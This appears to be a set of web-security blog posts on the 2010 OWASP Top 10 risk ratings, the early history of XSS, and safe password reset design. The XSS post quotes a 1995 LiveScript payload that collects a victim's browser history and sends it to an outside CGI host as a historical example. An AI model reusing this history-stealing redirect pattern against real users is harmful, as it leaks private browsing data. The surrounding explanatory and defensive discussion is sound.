One curious point about the new 2010 OWASP Top 10 Application Security Risks is that only 3 of them aren’t common. The “Weakness Prevalence” for each of Insecure Cryptographic Storage (A7), Failure to Restrict URL Access (A8), and Unvalidated Redirects and Forwards (A10) is rated uncommon. That doesn’t mean that an uncommon risk can’t be a critical one. These three items highlight the challenge of producing a list with risks that often lack context.

Risk is difficult to quantify. The OWASP Top 10 includes a What’s My Risk? section with guidance on how to interpret the list. That guidance is based on the experience of people who perform penetration tests, code reviews, and research web security.

The Top 10 rates Insecure Cryptographic Storage (A7) as an uncommon prevalence and difficult to detect. One of the reasons it’s hard to detect is that datastores can’t be reviewed by external scanners nor can source code scanners identify these problems other than by indicating misuse of a language’s crypto functions. Thus, one interpretation is that insecure crypto is uncommon because more people haven’t discovered such problems. Yet not salting a password hash is one of the most egregious mistakes a dev can make while also being one of the easier problems to fix. The practice of salting password hashes has been around since Unix epoch time was in single digits.

It’s also interesting that insecure crypto is the only one on the list that’s rated difficult to detect. Conversely, Cross-Site Scripting (A2) is “very widespread” and “easy” to detect. But maybe it’s very widespread because it’s so trivial to find. People might simply choose to search for vulns that require minimal tools and skill to identify. On the other hand, XSS might be very widespread because it’s not easy to find in a way that scales with large apps or complex workflows in apps. Of course, this also assumes someone’s looking for it in the first place.

Broken Authentication and Session Management (A3) covers brute force attacks against login pages. It’s an item whose risk is too-often demonstrated by real-world attacks. In 2010 the Apache Foundation suffered an attack that relied on brute forcing a password. Apache’s network had a similar password-related intrusion in 2001. (I mention these because of the clarity of their postmortems, not to insinuate that the Apache foundation inherently insecure.) In 2009, another password guesser found happiness with Twitter.

Knowing an account’s password is the best way to steal a user’s data and gain unauthorized access to a site. The only markers for an attacker using valid credentials are behavioral patterns -– time of day, duration of activity, geographic source of the connection, and so on. The attacker doesn’t have to use any malicious characters or techniques like those that needed for XSS or SQL injection.

The impact of a compromised password is similar to how CSRF (A5) works. The nature of a CRSF attack is to force a victim’s browser to make a request to the target app using the context of the victim’s authenticated session. For example, a CSRF attack might change the victim’s password to a value chosen by the attacker, or update the victim’s email to one owned by the attacker.

By design, browsers make many requests without direct interaction from a user, such as loading images, CSS, JavaScript, and iframes. CSRF requires the victim’s browser to visit a booby-trapped page, but doesn’t require the victim to interact with that page. The target web app neither sees the attacker’s traffic nor even suspects the attacker’s activity because all of the interaction occurs between the victim’s browser and the app.

CSRF serves as a good example of the changing nature of the web security industry. CSRF vulns have existed as long as the web. The attack takes advantage of the fundamental nature of HTML and HTTP whereby browsers automatically load certain types of resources. Importantly, the attack just needs to build a request. It doesn’t need to read a response. It isn’t inhibited by the Same Origin Policy.

CSRF hopped on the Top 10 list’s revision in 2007, four years after the list’s first appearance. It’s doubtful that CSRF vulns were any more or less prevalent over that four year period. Its inclusion was due to having a better understanding of the vuln and appreciation of its potential impacts. It has a risk that’s likely to increase when the pool of victims can be measured in the hundreds of millions rather than the hundreds of thousands.

This vuln also highlights an observation bias of appsec. Now that CSRF is in vogue people start to look for it everywhere. Security conferences get more presentations about advanced ways to exploit it, even though real-world attackers seem fine with the succes of guessing passwords, seeding web pages with malware, and phishing.

A knowledgeable or dedicated attacker will find a useful exploit. Risk can include many factors, including Threat Agents (to use the Top 10’s term). Risk increases under a targeted attack – someone actively looking to compromise the app or its users’ data. If you want to add an “Exploitability” metric to your risk estimate, keep in mind that ease of exploitability is often related to the threat agent and tends to be a step function. It might be hard to craft an exploit in the first place, but anyone can run a 42-line Python script that automates an attack.

That’s partially why the Top 10 list should be a starting point to defining security practices for your app, but it shouldn’t be the end of the road. Even the OWASP site warns readers against using the list for policy rather than awareness. If you’ve been worried about information leakage and improper error handling since 2007, don’t think the problem has disappeared because it’s not on the list in 2010.

If you’ve been worried about how to build a secure app, don’t rely on the OWASP Top 10 – it’ll tell you weaknesses to avoid, but falls short on patterns to create.

For more about the history and future of the OWASP Top 10, check out this article.

The Hacking Web Apps book covers HTML Injection and cross-site scripting (XSS) in Chapter 2. Within the restricted confines of the allotted page count, it describes one of the most pervasive attacks that plagues modern web applications.

Yet XSS is old. Very, very old. Born in the age of acoustic modems and barely a blink after the creation of the web browser.

Early descriptions of the attack used terms like “malicious HTML” or “malicious JavaScript” before the phrase “cross-site scripting” became canonized by the OWASP Top 10.

While XSS is an easy point of reference, the attack could be more generally called HTML injection because an attack does not have to “cross sites” or rely on JavaScript to be successful. The infamous Samy attack didn’t need to leave the confines of MySpace (nor did it need to access cookies) to effectively DoS the site within 24 hours. Persistent XSS may be just as dangerous if an attacker injects an iframe to a malware site – no JavaScript required.

Here’s one of the earliest references to the threat of XSS from a message to the comp.sys.acorn.misc newsgroup on June 30, 1996¹. It mentions only a handful of possible outcomes:

Another ‘application’ of JavaScript is to poke holes in Netscape’s security. To anyone using old versions of Netscape before 2.01 (including the beta versions) you can be at risk to malicious Javascript pages which can

a) nick your history

b) nick your email address

c) download malicious files into your cache and run them (although you need to be coerced into pressing the button)

d) examine your filetree.

From that message we can go back several months to the announcement of Netscape Navigator 2.0 on September 18, 1995. A month later Netscape created a “Bugs Bounty” starting with its beta release in October. The bounty offered rewards, including a $1,000 first prize, to anyone who discovered and disclosed a security bug within the browser. A few weeks later the results were announced and first prize went to a nascent JavaScript hack.

The winner of the bug hunt, Scott Weston, posted his find to an Aussie newsgroup. This was almost 15 years ago on December 1, 1995 (note that LiveScript was the precursor to JavaScript):

The “LiveScript” that I wrote extracts ALL the history of the current netscape window. By history I mean ALL the pages that you have visited to get to my page, it then generates a string of these and forces the Netscape client to load a URL that is a CGI script with the QUERY_STRING set to the users History. The CGI script then adds this information to a log file.

Scott, faithful to hackerdom tenets, included a nod to pop-culture in his description of the sensitive data extracted about the unwitting victim²:

- the URL to use to get into CD-NOW as Johnny Mnemonic, including username and password.

- The exact search params he used on Lycos (i.e. exactly what he searched for)

- plus any other places he happened to visit.

HTML injection targets insecure web applications. These were examples of how a successful attack could harm the victim rather than how a web site was hacked. Browser security is important to mitigate the impact of such attacks, but a browser’s fundamental purpose is to parse and execute HTML and JavaScript returned by a web application – a dangerous prospect when the page is laced with malicious content inserted by an attacker.

The attack is almost indistinguishable from a modern payload. A real attack might only have used a more subtle <img> or <iframe> as opposed to changing the location.href:

<SCRIPT LANGUAGE="LiveScript">
i = 0
yourHistory = ""
while (i < history.length) {
  yourHistory += history[i]
  i++;
  if (i < history.length)
    yourHistory += "^"
}
location.href = "http://www.tripleg.com.au/cgi-bin/scott/his?" + yourHistory
<!-- hahah here is the hidden script -->
</SCRIPT>

The actual exploit reflected the absurd simplicity typical of XSS attacks. They often require little effort to create, but carry a significant impact.

Before closing let’s take a tangential look at the original $1,000 “Bugs Bounty”. The Chromium team offers $500 and $1,337³ rewards for security-related bugs. The Mozilla Foundation offers $500 and a T-Shirt.

(In 2023, these amounts reach even higher into the $20,000 and $40,000 range.)

On the other hand, you can keep the security bug from the browser developers and earn $10,000 and a laptop for a nice, working exploit.

All of those options seem like a superior hourly rate to writing a book.

A post on Stack Overflow seeks advice on the relative security between implementing a password reset mechanism that emails a temporary link vs. one that emails a temporary password. Stack Overflow questions typically attract high quality answers, which is a testament to the site’s knowledgeable readership and reputation system. Responses to this particular post didn’t fail.

Rather than retread the answers, let’s consider the underlying implication behind the question: it can be acceptable to send passwords via email.

Don’t do it. Don’t give users the expectation that passwords might be sent via email. Doing so is unnecessary and establishes a dangerous practice as possibly acceptable. If the site ever sends a password to a user, then the user might be conditioned to communicate in the other direction. An email purportedly from the site’s administrators might ask for the user’s password to “verify the account is active”, “prevent the account from being terminated”, or “restore information”. The email need not ask for a direct response. It may be an indirect prompt for the password using cautionary, concerned language that never the less sends the victim to a spoofed login page.

Site administrators will not elicit passwords via email or any other means. Sites won’t ask for passwords except at authentication barriers. Sites shouldn’t send passwords – however temporary they may be.

“Newt. My name’s Newt.”

Passwords – shared secrets ostensibly known only to the user and the web site – are a necessary evil of authentication. The password proves a user’s identity to a web site under the assumption that only the person who logs in as Newt, for example, knows the corresponding password to the account is rebecca.

A password’s importance to web security has a frustratingly indirect relationship to the amount of control a site is able to exert over its protection. Users must be trusted not only to use hard-to-guess words or phrases, but must be trusted not to share the password or otherwise actively divulge it through accident or ignorance. Only the luckiest of potential victims will click an emailed link and be brought to a friendly page:

“That’s it man, game over man, game over!”

Password reuse among sites poses another serious risk. The theft of a user’s credentials (email address and password) for a site like www.downloadwarez.free might seen relatively innocuous, but what if they’re the same credentials used for allof.my.friends or www.mostly.secure.bank? Even worse, what if the password matches the one for the Gmail, Hotmail, or Yahoo account? In that case

Nuke the entire site from orbit. It’s the only way to be sure.

“Seventeen days? Hey man, I don’t wanna rain on your parade, but we’re not gonna last seventeen hours!”

Use random, temporary links for password reset mechanisms via email. By this point you should be sufficiently warned off of the alternative of emailing temporary passwords. An obstinate few might choose to stick with passwords, arguing that there’s no difference between the two once they hit the unencrypted realm of email.

Instead, use a forward-thinking solution that tries to secure the entire reset process:

• Maintain the original password until the user changes it. Perhaps they’ll remember it anyway. This also prevent a mini-denial of service where attackers force users to change their passwords.
• Use a strong pseudo-random number generator to minimize the chance of success of brute force attacks guessing the link.
• Expire the link after a short period of time, perhaps in minutes or hours. This narrows the window of opportunity for brute force attacks that attempt to guess links. It’s no good to let an attacker initiate a password reset on a Friday evening and have a complete weekend to brute force links until the victim notices the email on a Monday morning.

“Maybe we got ‘em demoralized.”

For those of you out there who visit web sites rather than create them there’s one rule you should never ignore. If the site’s password recovery mechanism emails you the original password for your account, then stop using the site. Period. Full stop. Should you be forced to use the site under threat of violence or peer pressure, whichever is worse, at the very least choose a password that isn’t shared with any other account. Storing unencrypted passwords is lazy, bad security design, and a liability.

Quotes from the movie Aliens.

If you didn’t recognize them, go watch it now. It’s worth it. See you in about two hours.